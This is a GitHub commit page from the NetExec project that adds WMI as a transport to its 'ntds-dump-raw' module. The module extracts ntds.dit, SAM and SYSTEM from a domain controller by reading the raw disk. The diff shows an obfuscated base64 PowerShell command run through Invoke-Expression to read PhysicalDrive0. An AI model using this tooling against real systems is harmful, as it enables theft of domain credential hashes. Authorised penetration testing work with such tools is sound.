Skip to content

Commit a8183f8

Browse files
authored
Merge pull request Pennyw0rth#821 from Pennyw0rth/neff-add-wmi-ntds-dump-raw
Add WMI to ntds_dump_raw module
2 parents 19a54d5 + 2befb3a commit a8183f8

1 file changed

Lines changed: 5 additions & 2 deletions

File tree

nxc/modules/ntds-dump-raw.py

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
class NXCModule:
1919
name = "ntds-dump-raw"
2020
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
21-
supported_protocols = ["smb", "winrm"]
21+
supported_protocols = ["smb", "wmi", "winrm"]
2222

2323
files_full_location_to_extract = [
2424
"Windows/System32/config/SYSTEM",
@@ -91,7 +91,10 @@ def read_from_disk(self, offset, size):
9191
# scary base64 powershell code :)
9292
# This to read the PhysicalDrive0 file
9393
get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """
94-
data_output = self.execute(get_data_script, True)
94+
if self.connection.__class__.__name__ == "wmi": # noqa: SIM108
95+
data_output = self.connection.execute_psh(get_data_script, True)
96+
else:
97+
data_output = self.execute(get_data_script, True)
9598
self.logger.debug(f"{offset=},{size=},{fixed_size=}")
9699
compressed_bytes = b64decode(data_output)[:size]
97100
compressed_stream = BytesIO(compressed_bytes)

0 commit comments

Comments
 (0)